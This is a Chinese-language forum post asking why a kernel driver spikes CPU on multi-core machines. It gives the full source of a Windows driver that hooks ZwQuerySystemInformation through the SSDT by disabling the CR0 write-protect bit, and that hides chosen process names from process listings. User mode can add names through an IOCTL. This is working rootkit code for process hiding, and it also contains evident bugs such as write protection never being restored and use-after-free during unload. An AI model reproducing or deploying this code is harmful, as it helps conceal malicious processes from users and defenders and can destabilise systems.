单核没问题，4核时system进程占用cpu25%，下面是完整代码，附件是sys文件，直接加载就有效果，高手帮忙指点一下，谢谢啦
#include <ntddk.h>
#define MY_DVC_ADDHPITEM 1
#define MY_DVC_HOOK 2
typedef enum _SYSTEM_INFORMATION_CLASS{
SystemBasicInformation, // 0 Y N
SystemProcessorInformation, // 1 Y N
SystemPerformanceInformation, // 2 Y N
SystemTimeOfDayInformation, // 3 Y N
SystemNotImplemented1, // 4 Y N
SystemProcessesAndThreadsInformation, // 5 Y N
SystemCallCounts, // 6 Y N
SystemConfigurationInformation, // 7 Y N
SystemProcessorTimes, // 8 Y N
SystemGlobalFlag, // 9 Y Y
SystemNotImplemented2, // 10 Y N
SystemModuleInformation, // 11 Y N
SystemLockInformation, // 12 Y N
SystemNotImplemented3, // 13 Y N
SystemNotImplemented4, // 14 Y N
SystemNotImplemented5, // 15 Y N
SystemHandleInformation, // 16 Y N
SystemObjectInformation, // 17 Y N
SystemPagefileInformation, // 18 Y N
SystemInstructionEmulationCounts, // 19 Y N
SystemInvalidInfoClass1, // 20
SystemCacheInformation, // 21 Y Y
SystemPoolTagInformation, // 22 Y N
SystemProcessorStatistics, // 23 Y N
SystemDpcInformation, // 24 Y Y
SystemNotImplemented6, // 25 Y N
SystemLoadImage, // 26 N Y
SystemUnloadImage, // 27 N Y
SystemTimeAdjustment, // 28 Y Y
SystemNotImplemented7, // 29 Y N
SystemNotImplemented8, // 30 Y N
SystemNotImplemented9, // 31 Y N
SystemCrashDumpInformation, // 32 Y N
SystemExceptionInformation, // 33 Y N
SystemCrashDumpStateInformation, // 34 Y Y/N
SystemKernelDebuggerInformation, // 35 Y N
SystemContextSwitchInformation, // 36 Y N
SystemRegistryQuotaInformation, // 37 Y Y
SystemLoadAndCallImage, // 38 N Y
SystemPrioritySeparation, // 39 N Y
SystemNotImplemented10, // 40 Y N
SystemNotImplemented11, // 41 Y N
SystemInvalidInfoClass2, // 42
SystemInvalidInfoClass3, // 43
SystemTimeZoneInformation, // 44 Y N
SystemLookasideInformation, // 45 Y N
SystemSetTimeSlipEvent, // 46 N Y
SystemCreateSession, // 47 N Y
SystemDeleteSession, // 48 N Y
SystemInvalidInfoClass4, // 49
SystemRangeStartInformation, // 50 Y N
SystemVerifierInformation, // 51 Y Y
SystemAddVerifier, // 52 N Y
SystemSessionProcessesInformation // 53 Y N
}SYSTEM_INFORMATION_CLASS;
//Information Class 5
typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //构成结构序列的偏移量；
ULONG ThreadCount; //线程数目；
ULONG Reserved1[6];
LARGE_INTEGER CreateTime; //创建时间；
LARGE_INTEGER UserTime; //用户模式(Ring 3)的CPU时间；
LARGE_INTEGER KernelTime; //内核模式(Ring 0)的CPU时间；
UNICODE_STRING ProcessName; //进程名称；
KPRIORITY BasePriority; //进程优先权；
ULONG ProcessId; //进程标识符；
ULONG InheritedFromProcessId; //父进程的标识符；
ULONG HandleCount; //句柄数目；
ULONG Reserved2[2];
VM_COUNTERS VmCounters; //虚拟存储器的结构；
IO_COUNTERS IoCounters; //IO计数结构； Windows 2000 only
//_SYSTEM_THREADS Threads[1]; //进程相关线程的结构数组；
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
PVOID ServiceTableBase;
PULONG ServiceCounterTableBase;
ULONG NumberOfService;
ULONG ParamTableBase;
}SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE;
typedef struct _HIDE_PROCESS_LIST
{
LIST_ENTRY list_entry;
UNICODE_STRING* pusProcessName;
}HIDE_PROCESS_LIST,*PHIDE_PROCESS_LIST;
typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
/////////////////////////////////////////////
//GetSSTDID
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
#define SEC_IMAGE 0x1000000
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _SECTION_IMAGE_INFORMATION {
PVOID EntryPoint;
ULONG StackZeroBits;
ULONG StackReserved;
ULONG StackCommit;
ULONG ImageSubsystem;
WORD SubsystemVersionLow;
WORD SubsystemVersionHigh;
ULONG Unknown1;
ULONG ImageCharacteristics;
ULONG ImageMachineType;
ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
}IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
typedef IMAGE_OPTIONAL_HEADER32 IMAGE_OPTIONAL_HEADER;
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
/////////////////////////////////////////////
UNICODE_STRING strDeviceName=RTL_CONSTANT_STRING(L"\\Device\\MNHP");
UNICODE_STRING strSymbLinkName=RTL_CONSTANT_STRING(L"\\DosDevices\\MNHPSL");
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
ULONG ulJmpAddress;
LIST_ENTRY leListHead;
PDEVICE_OBJECT device;
KSPIN_LOCK spin_lock;
KIRQL irql;
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
void OnUnload(PDRIVER_OBJECT DriverObject);
NTSTATUS Dispatcher(PDEVICE_OBJECT device,PIRP pIrp);
void Hook();
void UnHook();
NTSTATUS AddHideProcessListItem(LIST_ENTRY* pleListEntry,UNICODE_STRING* pusProcessName);
BOOLEAN CheckProcessName(LIST_ENTRY* pleListEntry,PUNICODE_STRING pusProcessName);
ULONG GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName);
NTSTATUS DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegPath)
{
NTSTATUS status=STATUS_SUCCESS;
ULONG n;
//测试
UNICODE_STRING str=RTL_CONSTANT_STRING(L"svchost.exe");
UNICODE_STRING str1=RTL_CONSTANT_STRING(L"explorer.exe");
UNICODE_STRING str2=RTL_CONSTANT_STRING(L"taskmgr.exe");
UNICODE_STRING str3=RTL_CONSTANT_STRING(L"smss.exe");
UNICODE_STRING str4=RTL_CONSTANT_STRING(L"csrss.exe");
KeInitializeSpinLock(&spin_lock);
//创建设备
status=IoCreateDevice(pdoDriver,0,&strDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,&device);
if(!NT_SUCCESS(status))
{
return status;
}
status=IoCreateSymbolicLink(&strSymbLinkName,&strDeviceName);
if(!NT_SUCCESS(status))
{
IoDeleteDevice(device);
return status;
}
device->Flags&=~DO_DEVICE_INITIALIZING;
//初始化链表
InitializeListHead(&leListHead);
//测试
AddHideProcessListItem(&leListHead,&str);
AddHideProcessListItem(&leListHead,&str1);
AddHideProcessListItem(&leListHead,&str2);
AddHideProcessListItem(&leListHead,&str3);
AddHideProcessListItem(&leListHead,&str4);
Hook();
for(n=0;n<IRP_MJ_MAXIMUM_FUNCTION;n++)
{
pdoDriver->MajorFunction[n]=Dispatcher;
}
pdoDriver->DriverUnload=OnUnload;
return status;
}
NTSTATUS __stdcall MyQuerySystemInformation(ULONG SystemInformationClass,
PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)
{
NTSTATUS status;
status=((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(SystemInformationClass,
SystemInformation,SystemInformationLength,ReturnLength);
if(SystemInformationClass==5&&NT_SUCCESS(status))
{
BOOLEAN bRemove;
SYSTEM_PROCESSES* lpCurr=(SYSTEM_PROCESSES*)SystemInformation;
SYSTEM_PROCESSES* lpPrev=lpCurr;
if(lpCurr->NextEntryDelta)
{
lpCurr=(SYSTEM_PROCESSES*)((ULONG)lpCurr+lpCurr->NextEntryDelta);
while(TRUE)
{
bRemove=FALSE;
if(CheckProcessName(&leListHead,&lpCurr->ProcessName))
{
if(lpCurr->NextEntryDelta)
{
lpPrev->NextEntryDelta+=lpCurr->NextEntryDelta;
bRemove=TRUE;
}
else
{
lpPrev->NextEntryDelta=0;
break;
}
}
if(!bRemove) lpPrev=lpCurr;
if(!lpCurr->NextEntryDelta) break;
lpCurr=(SYSTEM_PROCESSES*)((ULONG)lpCurr+lpCurr->NextEntryDelta);
}
}
}
return status;
}
NTSTATUS Dispatcher(PDEVICE_OBJECT device,PIRP pIrp)
{
NTSTATUS status;
PIO_STACK_LOCATION pisl;
ULONG code;
ULONG ulInLen;
ULONG ulOutLen;
PVOID pvBuffer;
UNICODE_STRING usStr;
ANSI_STRING asStr;
pisl=IoGetCurrentIrpStackLocation(pIrp);
code=pisl->Parameters.DeviceIoControl.IoControlCode;
pIrp->IoStatus.Information=0;
pIrp->IoStatus.Status=STATUS_SUCCESS;
ulInLen=pisl->Parameters.DeviceIoControl.InputBufferLength;
ulOutLen=pisl->Parameters.DeviceIoControl.OutputBufferLength;
pvBuffer=pIrp->AssociatedIrp.SystemBuffer;
switch(code)
{
case MY_DVC_ADDHPITEM:
{
if(ulInLen<0xFFFF)//检查长度是否超出USHORT最大值,因为UNICODE_STRING.Length是USHORT型
{
KeAcquireSpinLock(&spin_lock,&irql);
asStr.Buffer=pvBuffer;
asStr.Length=asStr.MaximumLength=ulInLen;
RtlAnsiStringToUnicodeString(&usStr,&asStr,TRUE);
AddHideProcessListItem(&leListHead,&usStr);
ExFreePool(usStr.Buffer);
usStr.Length=usStr.MaximumLength=0;
KeReleaseSpinLock(&spin_lock,irql);
}
else
{
pIrp->IoStatus.Status=STATUS_INVALID_PARAMETER;
}
}
break;
case MY_DVC_HOOK:
{
Hook();
}
break;
default:
break;
}
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
status=pIrp->IoStatus.Status;
return status;
}
BOOLEAN CheckProcessName(LIST_ENTRY* pleListEntry,PUNICODE_STRING pusProcessName)
{
LIST_ENTRY* p;
HIDE_PROCESS_LIST* phpl;
BOOLEAN bRet=FALSE;
for(p=pleListEntry->Flink;p!=(LIST_ENTRY*)&pleListEntry->Flink;p=p->Flink)
{
phpl=CONTAINING_RECORD(p,HIDE_PROCESS_LIST,list_entry);
if(0==RtlCompareUnicodeString(phpl->pusProcessName,pusProcessName,FALSE))
{
bRet=TRUE;
}
}
return bRet;
}
NTSTATUS AddHideProcessListItem(LIST_ENTRY* pleListEntry,UNICODE_STRING* pusProcessName)
{
HIDE_PROCESS_LIST* phpl=(HIDE_PROCESS_LIST*)ExAllocatePool(PagedPool,sizeof(HIDE_PROCESS_LIST));
KdPrint(("%wZ",phpl->pusProcessName));
phpl->pusProcessName=ExAllocatePool(PagedPool,sizeof(UNICODE_STRING));
phpl->pusProcessName->Buffer=ExAllocatePool(PagedPool,pusProcessName->Length);
phpl->pusProcessName->Length=phpl->pusProcessName->MaximumLength=pusProcessName->Length;
RtlCopyUnicodeString(phpl->pusProcessName,pusProcessName);
InsertHeadList(pleListEntry,&phpl->list_entry);
return STATUS_SUCCESS;
}
void Hook()
{
//获取函数在ssdt中的索引id
ULONG ulSSDTFuncID;
ULONG functionAddress;
UNICODE_STRING dllName=RTL_CONSTANT_STRING(L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll");
functionAddress = GetDllFunctionAddress("ZwQuerySystemInformation", &dllName);
ulSSDTFuncID=*(DWORD*)(functionAddress+1);
//保存原函数地址
ulJmpAddress=(ULONG)KeServiceDescriptorTable->ServiceTableBase+(ulSSDTFuncID*4);
OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)*(ULONG*)ulJmpAddress;
__asm
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
*(ULONG*)ulJmpAddress=(ULONG)MyQuerySystemInformation;
__asm
{
mov eax,cr0
and eax,not 10000h
mov cr0,eax
sti
}
}
void UnHook()
{
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
*(ULONG*)ulJmpAddress=(ULONG)OldZwQuerySystemInformation;
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName)
{
HANDLE hThread, hSection, hFile, hMod;
SECTION_IMAGE_INFORMATION sii;
IMAGE_DOS_HEADER* dosheader;
IMAGE_OPTIONAL_HEADER* opthdr;
IMAGE_EXPORT_DIRECTORY* pExportTable;
DWORD* arrayOfFunctionAddresses;
DWORD* arrayOfFunctionNames;
WORD* arrayOfFunctionOrdinals;
DWORD functionOrdinal;
DWORD Base, x, functionAddress;
char* functionName;
STRING ntFunctionName, ntFunctionNameSearch;
PVOID BaseAddress = NULL;
SIZE_T size=0;
OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};
IO_STATUS_BLOCK iosb;
ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);
ZwClose(hFile);
hMod = BaseAddress;
dosheader = (IMAGE_DOS_HEADER *)hMod;
opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);
pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);
arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);
arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);
arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);
Base = pExportTable->Base;
RtlInitString(&ntFunctionNameSearch, lpFunctionName);
for(x = 0; x < pExportTable->NumberOfFunctions; x++)
{
functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);
RtlInitString(&ntFunctionName, functionName);
functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1;
functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0)
{
ZwClose(hSection);
return functionAddress;
}
}
ZwClose(hSection);
return 0;
}
void OnUnload(PDRIVER_OBJECT DriverObject)
{
LIST_ENTRY* p;
HIDE_PROCESS_LIST* phpl;
UnHook();
IoDeleteDevice(device);
IoDeleteSymbolicLink(&strSymbLinkName);
for(p=leListHead.Flink;p!=(LIST_ENTRY*)&leListHead.Flink;p=p->Flink)
{
phpl=CONTAINING_RECORD(p,HIDE_PROCESS_LIST,list_entry);
ExFreePool(phpl->pusProcessName->Buffer);
ExFreePool(phpl->pusProcessName);
ExFreePool(phpl);
}
}
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